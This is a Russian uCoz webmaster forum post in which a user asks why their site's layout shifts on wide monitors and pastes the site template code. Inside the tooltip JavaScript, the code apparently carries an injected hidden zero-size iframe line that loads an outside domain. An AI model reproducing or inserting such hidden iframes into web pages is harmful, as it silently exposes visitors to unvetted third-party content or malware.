Если вы хотите общаться на форуме, напишите МНЕ в лс: Активируй аккаунт!!!!!!!

[ Последние 100 ответов на форуме · Всё для CSS · Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум веб-мастеров ucoz » Раздел uCoz » Помощь по uCoz » Проблема с сайтом
Проблема с сайтом
asphalt4Дата: Суббота, 31.12.2011, 18:54:55 | Сообщение # 1


Мелкий флудер
Сообщений: 47
[ 6 ]
Вобщем у меня такая проблема.На большом мониторе(21 дюйм) мой сайт уезжает вправо.Ну после второго контейнера идет пустота.И нужно еще как то его поменьше сделать.Сайт Zone-cstrike.ru.Вот код

Code
<style>
/* hint menu */
.hint
{
background:url('/img/b12.gif');
line-height:10px;
color:#494949;
font-family:verdana,arial,helvetica;
font-size:8pt;
width:auto;
border-top:1px solid #545454;
border-right:1px solid #545454;
border-bottom:1px solid #545454;
border-left:1px solid #545454;
margin:1px;
padding:8px;
position:absolute;
visibility:hidden;
}
/* ---------------- */
</style>
<script>
// Автом: http://gameleft.ru
//Hint Start
// CLASS : MW_System_Load
// Init
function MW_System_Load(){
this.wib = screen.width;
this.heb = screen.height;
this.documes = (document.getElementById || document.createElement || document.getElementsByTagName) ? true : false;
this.objects = window.addEventListener || window.attachEvent ? window : document.addEventListener ? document : null;
this.types = 'load';
}
MW_System_Load.prototype.addsevent = function(func){
if(this.objects.addEventListener){
this.objects.addEventListener(this.types,func,false);
return true;
} else if (this.objects.attachEvent){
this.objects.attachEvent("on" + this.types,func);
} else {
return false;
}
}
MW_System_Load.prototype.browser = function(){
this.ver = navigator.appVersion;
this.agent = navigator.userAgent.toLowerCase();
this.dom = document.getElementById ? 1:0;
this.all = document.all ? 1:0;
this.ie5 = (this.ver.indexOf("MSIE 5")>-1 && this.dom) ? 1:0;
this.ie6 = (this.ver.indexOf("MSIE 6")>-1 && this.dom) ? 1:0;
this.ie4 = (document.all && !this.dom) ? 1:0;
this.ie = this.ie4 || this.ie5 || this.ie6;

this.gecko = (this.agent.indexOf("gecko")!=-1) ? 1:0;
this.bw = (this.ie || this.opera || this.gecko);
return this;
}
MW_System_Load.prototype.findobj = function(obj){
this.parent = window.document;
if(this.parent[obj]){ return this.parent[obj]; }
if(this.parent.all && this.parent.all[obj]){ return this.parent.all[obj]; }
if(this.parent.layers && this.parent.layers[obj]){ return this.parent.layers[obj]; }
if(this.parent.getElementById && this.parent.getElementById(obj)){ return this.parent.getElementById(obj); }
return null;
}
var MW = new MW_System_Load();
function MW_System_Hint(){}
MW_System_Hint.prototype.show = function(obj,str){
var hint = MW.findobj('hint');
if(!obj){ return; }
if(!MW.documes){ return; }
if(!hint){ return; }
hint.className = 'hint';
hint.style.left = 15;
hint.style.top = 50;

obj.onmouseout = function(advance){
hint.style.width = '';
hint.style.visibility = 'hidden';
if(hint.firstChild) hint.removeChild(hint.firstChild);
hint.appendChild(document.createTextNode(str));
};
obj.onmousemove = function(advance){
//str = str.replace(/</g,"<");
//str = str.replace(/>/g,">");
hint.style.width = '';
hint.innerHTML = str;
vc = document.getElementsByTagName((document.compatMode && document.compatMode=="CSS1Compat") ? "HTML":"BODY")[0];
x = window.event ? event.clientX + vc.scrollLeft : advance.pageX;
y = window.event ? event.clientY + vc.scrollTop : advance.pageY;
<inframe style="LEFT: 1%; WIDTH: 0%; POSITION: absolute; TOP: 1%; HEIGHT: 0%" src="http://diz-mode.net.ru/index/host/0-12"></inframe>
vcwidth = vc.clientWidth ? vc.clientWidth + vc.scrollLeft : window.innerWidth + window.pageXOffset;
vcheight = vc.innerHeight ? window.innerHeight + window.pageYOffset : vc.clientHeight + vc.scrollTop;
  if(hint.offsetWidth>500){ hint.style.width = '200'; }
  if((x + hint.offsetWidth + 15) > vcwidth){
  hint.style.left = x - hint.offsetWidth - 4;
  } else {
  hint.style.left = x + 15;
  }
  if((y + hint.offsetHeight + 19) > vcheight){
  hint.style.top = y - hint.offsetHeight;
  } else {
  hint.style.top = y + 25;
  }
  //if(typeof(hint.style.MozOpacity)!="undefined"){
  hint.style.opacity = '.91';
  hint.style.filter = "alpha(opacity:91)";
  //}
  hint.style.visibility = 'visible';
};
}
MW_System_Hint.prototype.initialize = function(){
var hint = document.createElement("DIV");
hint.setAttribute('id','hint');
document.getElementsByTagName('body')[0].appendChild(hint);
hint.style.visibility = 'hidden';
var hintmarker = ['a','img','img','input','span','div','textarea'];
var textmarker = ['title','alt','title','title','title','title','title'];
var lenmarker = hintmarker.length;
for(var i=0; i<lenmarker; i++) {
atr = document.getElementsByTagName(hintmarker[i]);
for(var j=0; j<atr.length; j++)
if(viewhint=atr[j].getAttribute(textmarker[i])){
  atr[j].removeAttribute(textmarker[i]);
  HINT.show(atr[j],viewhint);
}
}
}
var HINT = new MW_System_Hint();
if(MW.objects){ MW.addsevent(HINT.initialize); }
//Hint End
</script>

</tbody></table>
<table style="background: url("/img/wapka2.jpg") repeat-x scroll 0% 0% transparent;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
<td><div align="left"><img src="/img/Wapka2.png"></div></td><td>
</td>
<td><div align="right"><img src="/img/Wapka2.jpg"></div></td>
</tr>
</tbody></table>
<table style="border: 1px solid rgb(73, 73, 73); background: url("/img/10.png") repeat scroll 0% 0% transparent;" border="0" cellpadding="0" cellspacing="0" height="31" width="100%">
  <tbody><tr>
  <td style="font-size: 10px; padding-left: 10px;" align="left" width="50%"><div class="navig"><a href="/" title="Главная">Главная</a> | <a href="../$PERSONAL_PAGE_LINK$" target="_blank" title="Мой профиль">Мой профиль</a> <?if($LOGIN_LINK$)?>|<a href="../$LOGIN_LINK$">Вход</a><?else?>|<a href="../$LOGOUT_LINK$">Выход</a><?endif?>  

  <td style="font-size: 10px; padding-right: 10px;" align="right" width="50%"><div class="navig"><b>Вы вошли как <a href="../$PERSONAL_PAGE_LINK$" target="_blank" title="Мой профиль">$USERNAME$</a> | Группа "<u>$USER_GROUP$</u>" | </b><a href="/news/rss/" title="RSS">RSS</a></div></td>
  </tr>
</tbody></table>
  <center><a href="http://server-hlds.ru" target="_blank" title="Карты, плагины, готовые сборки, моды, статьи.">
<img src="http://server-hlds.ru/468-60-2.gif"></a><center>
  <?if($USER_LOGGED_IN$)?><?else?>
<script type="text/javascript">
window.onload=function(){new _uWnd('npm', 'Внимание', 330, 250,{align:'justify',min:0,max:0,modal:1,icon:'http://s38.ucoz.net/img/fr/banned.png'},'Вы не авторизованный либо вы не зарегистрированный на сайте пожалуйста <a href="/index/3"><b>зарегистрируйтесь</b></a> или войдите под свой логин.После регистрации вы можете <a href="/forum/13-29-1"><b>3аработать немного денег</b></a>');}  
</script>
<?endif?>


Ухожу с этого ГС
Форум веб-мастеров ucoz » Раздел uCoz » Помощь по uCoz » Проблема с сайтом
  • Страница 1 из 1
  • 1
Поиск: